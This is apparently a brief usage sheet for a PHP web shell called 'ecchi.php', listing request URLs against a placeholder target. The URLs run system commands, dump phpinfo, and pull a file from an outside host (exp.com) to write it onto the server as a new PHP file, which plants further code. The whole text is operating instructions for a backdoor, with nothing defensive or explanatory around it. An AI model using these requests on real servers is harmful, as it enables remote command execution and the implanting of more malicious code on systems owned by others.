Command execution
http://target.com/ecchi.php?a=system&ecchi[]=ls
Get phpinfo
http://target.com/ecchi.php?a=phpinfo&ecchi[]=-3
Create file
http://target.com/ecchi.php?a=sum&ecchi[]=(url file ex: http://exp.com/as.txt)&ecchi[]=(name file ex: as.php)